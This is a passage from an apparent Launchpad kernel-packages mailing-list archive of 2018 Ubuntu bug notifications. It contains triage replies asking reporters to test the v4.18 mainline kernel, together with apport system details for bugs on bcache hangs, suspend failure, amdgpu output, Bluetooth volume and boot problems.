More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784665] Re: mkfs.ext4 over /dev/bcache0 hangs
Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => High ** Also affects: linux (Ubuntu Cosmic) Importance: High Status: Confirmed ** Tags added: kernel-key ** Changed in: linux (Ubuntu Cosmic) Status: Confirmed => Triaged -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784665 Title: mkfs.ext4 over /dev/bcache0 hangs Status in linux package in Ubuntu: Triaged Status in linux source package in Cosmic: Triaged Bug description: $ cat /proc/version_signature Ubuntu 4.15.0-29.31-generic 4.15.18 $ lsb_release -rd Description: Ubuntu Cosmic Cuttlefish (development branch) Release: 18.10 $ apt-cache policy linux-image-`uname -r` linux-image-4.15.0-29-generic: Installed: 4.15.0-29.31 Candidate: 4.15.0-29.31 Version table: *** 4.15.0-29.31 500 500 http://archive.ubuntu.com/ubuntu cosmic/main amd64 Packages 100 /var/lib/dpkg/status 3) mkfs.ext4 /dev/bcache0 returns successful creating an ext4 filesystem on top of a bcache device 4) mkfs.ext4 doesn't return and kernel prints hung process info [ 58.018099] cloud-init[920]: Running command ['mkfs.ext4', '-F', '-L', 'root-fs', '-U', 'f01aec97-9457-11e8-b8d6-525400123401', '/dev/bcache0'] with allowed return codes [0] (capture=True) [ 242.652018] INFO: task kworker/u4:0:5 blocked for more than 120 seconds. [ 242.653767] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.655391] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.657397] INFO: task kworker/0:2:410 blocked for more than 120 seconds. [ 242.659126] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.660980] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.663000] INFO: task bcache_allocato:2326 blocked for more than 120 seconds. [ 242.664807] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.666516] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.668503] INFO: task bcache_writebac:2345 blocked for more than 120 seconds. [ 242.670301] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.671936] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.673909] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds. [ 242.675414] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.677038] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.483998] INFO: task kworker/u4:0:5 blocked for more than 120 seconds. [ 363.488441] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.489598] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.491043] INFO: task kworker/0:2:410 blocked for more than 120 seconds. [ 363.492252] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.494085] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.495659] INFO: task bcache_allocato:2326 blocked for more than 120 seconds. [ 363.496957] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.498454] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.499866] INFO: task bcache_writebac:2345 blocked for more than 120 seconds. [ 363.501156] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.502597] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.504048] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds. [ 363.505505] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.506677] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. System has two virtio block devices. bcache was created like so: make-bcache -C /dev/vdb make-bcache -B /dev/vda2 resulting in /dev/bcache0 ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaDevices: total 0 crw-rw
[Kernel-packages] [Bug 1784183] Re: ubuntu 18.04 will not suspend laptop/not nvidia related
Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.18 kernel[0].
If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.
If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.
Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".
Thanks in advance.
[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7
** Changed in: linux (Ubuntu)
Importance: Undecided => Medium
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1784183
Title:
ubuntu 18.04 will not suspend laptop/not nvidia related
Status in linux package in Ubuntu:
Incomplete
Bug description:
I upgraded from Lubuntu 17.10 to 18.04
My laptop is set to suspend upon laptop lid closing. I do not have a
dedicated gpu (often listed as cause of suspend problem).
When I close the lid, or select the suspend command from GUI, the
screen goes black, fans continue to run, LED's remain lit (flash
during suspend). Laptop will then not recover unless hard shutdown
via holding power button down. Screen remains blank. No keyboard or
mouse inputs work.
Using lenovo thinkpad, 4gb ram, intel celeron CPU, intel HD integrated
graphics.
Went through this once, found no useful solution, wipes HDD and used
another OS (elementary OS).
This is a small form factor PC. If I cannot open and close it, moving it in
and out of suspend easily, I will replace the OS again. Booting and shutting
down is not practical for something meant to be a mobility focused device.
---
ProblemType: Bug
AlsaVersion: Advanced Linux Sound Architecture Driver Version
k4.15.0-29-generic.
ApportVersion: 2.20.9-0ubuntu7.2
Architecture: amd64
ArecordDevices:
List of CAPTURE Hardware Devices
card 0: PCH [HDA Intel PCH], device 0: ALC3239 Analog [ALC3239 Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
AudioDevicesInUse:
USERPID ACCESS COMMAND
/dev/snd/controlC0: litbit 1159 F pulseaudio
Card0.Amixer.info:
Card hw:0 'PCH'/'HDA Intel PCH at 0x9081 irq 95'
Mixer name : 'Realtek ALC3239'
Components : 'HDA:10ec0283,17aa2224,0013
HDA:80862882,80860101,0010'
Controls : 30
Simple ctrls : 12
Card29.Amixer.info:
Card hw:29 'ThinkPadEC'/'ThinkPad Console Audio Control at EC reg 0x30, fw
unknown'
Mixer name : 'ThinkPad EC (unknown)'
Components : ''
Controls : 1
Simple ctrls : 1
Card29.Amixer.values:
Simple mixer control 'Console',0
Capabilities: pswitch pswitch-joined
Playback channels: Mono
Mono: Playback [on]
CurrentDesktop: LXDE
DistroRelease: Ubuntu 18.04
HibernationDevice: RESUME=UUID=de2b11d3-9175-4b0c-867d-410c4d3c69e9
InstallationDate: Installed on 2018-06-22 (37 days ago)
InstallationMedia: Lubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105)
Lsusb:
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 004: ID 04f2:b451 Chicony Electronics Co., Ltd
Bus 001 Device 003: ID 8087:07dc Intel Corp.
Bus 001 Device 002: ID 05e3:0610 Genesys Logic, Inc. 4-port hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
MachineType: LENOVO 20DAS02G00
Package: linux (not installed)
ProcFB: 0 inteldrmfb
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic
root=UUID=6df1383a-52d7-4997-904e-309e43f29fad ro nouveau.modeset=0 quiet
splash vt.handoff=1
ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18
RelatedPackageVersions:
linux-restricted-modules-4.15.0-29-generic N/A
linux-backports-modules-4.15.0-29-generic N/A
linux-firmware 1.173.1
Tags: bionic
Uname: Linux 4.15.0-29-generic x86_64
UpgradeStatus: Upgraded to bionic on 2018-07-26 (2 days ago)
UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
_MarkForUpload: True
dmi.bios.date: 01/17/2018
dmi.bios.vendor: LENOVO
dmi.bios.version: N15ET72W (1.32)
dmi.board.asset.tag: Not Available
dmi.board.name: Intel powered classmate PC
dmi.board.vendor: LENOVO
dmi.board.version: SDK0E50519 WIN
dmi.chassis.asset.tag: No Asset Information
dmi.chassis.type: 10
dmi.chassis.vendor: LENOVO
dmi.chassis.version: Not Available
dmi.modalias:
dmi:bvnLENOVO:bvrN15ET72W(1.32):bd01/17/2018:svnLENOVO:pn20DAS02G00:pvrThinkPadYoga11e:rvnLENOVO:rnIntelpoweredclassmatePC:rvrSDK0E50519WIN:cvnLENOVO:ct10:cvrNotAvailable:
dmi.product.family: ThinkPad Yoga 11e
dmi.product.name: 20DAS02G00
dmi.product.version: ThinkPad Yoga 11e
dmi.sys.vendor: LENOVO
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784183/+subscriptions
--
Mailing list: https://l
[Kernel-packages] [Bug 1784156] Re: [regression][amdgpu] analog output stops working on R9 380/Tonga Pro after upgrading to Ubuntu 18.04
This issue appears to be an upstream bug, since you tested the latest upstream kernel. Would it be possible for you to open an upstream bug report[0]? That will allow the upstream Developers to examine the issue, and may provide a quicker resolution to the bug. Please follow the instructions on the wiki page[0]. The first step is to email the appropriate mailing list. If no response is received, then a bug may be opened on bugzilla.kernel.org. Once this bug is reported upstream, please add the tag: 'kernel-bug- reported-upstream'. [0] https://wiki.ubuntu.com/Bugs/Upstream/kernel ** Changed in: linux (Ubuntu) Importance: Undecided => High ** Changed in: linux (Ubuntu) Status: Confirmed => Triaged ** Also affects: linux (Ubuntu Cosmic) Importance: High Status: Triaged ** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Bionic) Status: New => Triaged ** Changed in: linux (Ubuntu Bionic) Importance: Undecided => High ** Tags added: kernel-da-key -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784156 Title: [regression][amdgpu] analog output stops working on R9 380/Tonga Pro after upgrading to Ubuntu 18.04 Status in linux package in Ubuntu: Triaged Status in linux source package in Bionic: Triaged Status in linux source package in Cosmic: Triaged Bug description: After upgrading to Ubuntu 18.04 (and thus from Linux 4.13 to Linux 4.15) the Monitor connected via VGA (through DVI-I) shows a 'No Signal' message after amdgpu takes over from efifb and turns off. The monitor worked fine in Ubuntu 17.10 and Linux 4.13. When looking at the output of xrandr, the analog monitor is now detected as DVI-D instead of DVI-I and thus probably won't receive an analog signal anymore. After some investigation, it turns out the monitor will light up when adding the `amdgpu.dc=0` kernel parameter. I've tried Linux 4.18-rc6 from the mainline ppa and the issue persists unless I add the kernel parameter to disable DC. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-generic 4.15.0.29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0p: benpicco 2151 F...m pulseaudio /dev/snd/controlC0: benpicco 2151 F pulseaudio /dev/snd/controlC1: benpicco 2151 F pulseaudio CurrentDesktop: MATE Date: Sat Jul 28 17:55:35 2018 EcryptfsInUse: Yes HibernationDevice: RESUME=UUID=ef400a46-b237-4272-b4a7-f866e92d00a0 InstallationDate: Installed on 2016-08-06 (720 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) IwConfig: lono wireless extensions. eno1 no wireless extensions. MachineType: System manufacturer System Product Name ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=8e6b0d6a-eb87-44cf-8fc3-b13bd97b71d2 ro amdgpu.dc=0 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 RfKill: 0: hci0: Bluetooth Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: Upgraded to bionic on 2018-07-28 (0 days ago) dmi.bios.date: 11/09/2012 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 3603 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: P8Z68-V dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr3603:bd11/09/2012:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP8Z68-V:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.family: To be filled by O.E.M. dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784156/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784091] Re: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfi
Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Package changed: linux-hwe (Ubuntu) => linux (Ubuntu) ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784091 Title: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux- headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h .dpkg-tmp': Permission denied Status in linux package in Ubuntu: Incomplete Bug description: A few days after a kernel update, my computer froze. I had to revert to a previous kernel. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 ProcVersionSignature: Ubuntu 4.15.0-24.26~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-24-generic x86_64 NonfreeKernelModules: ums_realtek i915 r8169 wmi ApportVersion: 2.20.1-0ubuntu2.18 AptOrdering: linux-headers-4.13.0-43: Remove linux-image-4.15.0-29-generic: Configure NULL: ConfigurePending Architecture: amd64 Date: Fri Jul 27 06:36:06 2018 DpkgTerminalLog: Removing linux-headers-4.13.0-43 (4.13.0-43.48~16.04.1) ... dpkg: error processing package linux-headers-4.13.0-43 (--remove): unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied DuplicateSignature: package:linux-headers-4.13.0-43:4.13.0-43.48~16.04.1 Removing linux-headers-4.13.0-43 (4.13.0-43.48~16.04.1) ... dpkg: error processing package linux-headers-4.13.0-43 (--remove): unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied ErrorMessage: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied InstallationDate: Installed on 2017-06-16 (406 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) PackageArchitecture: all RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: linux-hwe Title: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784091/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784316] Re: volume control doesn't work for bluetooth headset
Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784316 Title: volume control doesn't work for bluetooth headset Status in linux package in Ubuntu: Incomplete Bug description: Hi, After I've connected my bluetooth headset (see https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782893 ), it seems the volume control doesn't work. e.g. if I adjust the volume in settings / audio, it doesn't have an effect on the headset volume. if I adjust the volume on the headset itself, the difference in volume is not reflected in the control panel (e.g. the slider doesn't move) what I would expect is that the volume setting at the headset and in the settings menu are in sync, and these two set the 'same' volume Akos --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0c: am17269 F...m pulseaudio /dev/snd/controlC0: am17269 F pulseaudio CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=2e64cf71-cb2d-491f-b8cd-fef8c3aeb582 InstallationDate: Installed on 2017-10-23 (279 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) MachineType: Dell Inc. XPS 15 9560 NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=a991df19-cc0a-4108-b718-c90ef7113f52 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-29-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-06-20 (39 days ago) UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 04/23/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.9.4 dmi.board.name: 05FFDN dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.9.4:bd04/23/2018:svnDellInc.:pnXPS159560:pvr:rvnDellInc.:rn05FFDN:rvrA00:cvnDellInc.:ct10:cvr: dmi.product.family: XPS dmi.product.name: XPS 15 9560 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784316/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784227] Re: Wireless fails on all kernel updates since 4.13.0-45
Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Package changed: linux-hwe (Ubuntu) => linux (Ubuntu) ** Changed in: linux (Ubuntu) Importance: Undecided => High ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete ** Tags added: kernel-da-key -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784227 Title: Wireless fails on all kernel updates since 4.13.0-45 Status in linux package in Ubuntu: Incomplete Bug description: I did some research and this seems to be the result of missing headers in the kernel patch. I found some references to steps to force a full kernel build but I wasn't able to get the steps to work. I've locked the 4.13.0-45 kernel hoping a future patch will correct the issue. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-headers-4.15.0-29 4.15.0-29.31~16.04.1 ProcVersionSignature: Ubuntu 4.13.0-45.50~16.04.1-lowlatency 4.13.16 Uname: Linux 4.13.0-45-lowlatency x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 CurrentDesktop: XFCE Date: Sun Jul 29 09:17:04 2018 InstallationDate: Installed on 2017-03-07 (509 days ago) InstallationMedia: Ubuntu-Studio 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215) PackageArchitecture: all ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: linux-hwe UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784227/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784221] Re: unable to find a medium containing a live file system
** Changed in: linux (Ubuntu) Status: Confirmed => Invalid -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784221 Title: unable to find a medium containing a live file system Status in linux package in Ubuntu: Invalid Bug description: Hello. I know that this problem has been the subject of several malfunctions but this incident occurs in a rather unusual context. I have a computer equipped with a bios EFI. So I do not use cdrom drive or usb key to install ubuntu. I decompress the ISO file and put the content in a partition FA32. then I choose to boot using the boot file. It works very well for almost four years see https://forum.ubuntu- fr.org/viewtopic.php?id=1725191 and https://forum.ubuntu- fr.org/viewtopic.php?id=1954341 I use this procedure every six months. The last time, it was in January 2018 with the daily version of version 18.04 ( https://forum.ubuntu-fr.org/viewtopic.php?pid=21862486#p21862486 ) As usual I had noted "sudo umount -lv /cdrom " I did not think to install the 18.4.0 version of April 2018. I do now with the version 18.04.1 of July 2018. So I use the torrent technique to download the iso. I still control the md5sum. ( f430da8fa59d2f5f4262518e3c177246 *ubuntu-18.04.1-desktop-amd64.iso ) I transfer in my partition fat32 (I even put the ESP flag) and I boote I have the 4 lines of choice Try ubuntu without installing Install ubuntu Oem Install (for manufacturer) Check disk for deffect I have to wait about five minutes to get the message mentioned in the title "unable to find a medium containing a live file system". It's the same thing when choosing the other three options The contents of the casper.log file consist of a repeated line 121 times. "/init: line 7: can't open /dev/sr0: No medium found" in iniramfs , the command ls -ls give 0 drwxr-xr-x 14 4540 dev 0 drwx--240 root 8 -rwxr-xr-x1 6643 init 0 drwxr-xr-x480 usr 0 drwxr-xr-x 11 260 lib 0 drwxr-xr-x5 100 var 0 drwxr-xr-x2 2440 bin 0 drwxr-xr-x 12 380 scripts 0 drwxr-xr-x3 140 conf 0 drwxr-xr-x260 lib64 0 drwxr-xr-x 11 400 etc 0 drwxr-xr-x6 120 run 0 drwxr-xr-x2 500 sbin 0 dr-xr-xr-x 13 0 sys 0 dr-xr-xr-x 98 0 proc 4 drwxr-xr-x3 4096 tmp 0 drwxr-xr-x240 cdrom 0 -rw-r--r--1 0 casper.vars 8 -rw-r--r--1 6294 casper.log I restarted with the option debug = vt but I can not understand the false manipulation that I made. Is this a re-engineering of the software? I will attach the trace file and the list of files present in the boot partition of the hard disk To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784221/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784244] Re: cryptsetup: WARNING: failed to detect canonical device
Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784244 Title: cryptsetup: WARNING: failed to detect canonical device Status in linux package in Ubuntu: Incomplete Bug description: Hello, today I would Update the Kernel on my Server. But I got this warning at the Kernel Installation. Is that an Bug? [Code] sudo update-initramfs -u update-initramfs: Generating /boot/initrd.img-4.15.0-29-generic cryptsetup: WARNING: failed to detect canonical device of /dev/md1 cryptsetup: WARNING: could not determine root device from /etc/fstab W: Possible missing firmware /lib/firmware/ast_dp501_fw.bin for module ast I: The initramfs will attempt to resume from /dev/sdb3 I: (UUID=9055a919-6d99-49f0-88f1-7c53d6fd92a7) I: Set the RESUME variable to override this. [/Code] Ubuntu 4.15.0-22.24-generic 4.15.17 --- ProblemType: Bug AlsaDevices: insgesamt 0 crw-rw 1 root audio 116, 1 Jul 27 08:03 seq crw-rw 1 root audio 116, 33 Jul 27 08:03 timer AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay' ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: Status der Datei /proc/14247/fd/3 kann nicht ermittelt werden: Keine Berechtigung DistroRelease: Ubuntu 18.04 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig' Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0557:2419 ATEN International Co., Ltd Bus 001 Device 002: ID 0557:7000 ATEN International Co., Ltd Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Supermicro Super Server NonfreeKernelModules: kpatch_livepatch_Ubuntu_4_15_0_22_24_generic_40 Package: linux (not installed) PciMultimedia: ProcFB: 0 astdrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-22-generic root=UUID=81ea29a7-9558-4840-b117-e4ef6ff34401 ro net.ifnames=0 biosdevname=0 console=tty0 console=ttyS0,57600 ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17 RelatedPackageVersions: linux-restricted-modules-4.15.0-22-generic N/A linux-backports-modules-4.15.0-22-generic N/A linux-firmware 1.173.1 RfKill: Error: [Errno 2] No such file or directory: 'rfkill': 'rfkill' Tags: bionic Uname: Linux 4.15.0-22-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True dmi.bios.date: 10/06/2017 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2.0c dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: X11SSL-F dmi.board.vendor: Supermicro dmi.board.version: 1.01 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 17 dmi.chassis.vendor: Supermicro dmi.chassis.version: 0123456789 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2.0c:bd10/06/2017:svnSupermicro:pnSuperServer:pvr0123456789:rvnSupermicro:rnX11SSL-F:rvr1.01:cvnSupermicro:ct17:cvr0123456789: dmi.product.family: To be filled by O.E.M. dmi.product.name: Super Server dmi.product.version: 0123456789 dmi.sys.vendor: Supermicro To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784244/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784249] Re: Typecover driver not loading before full disk decryption prompt
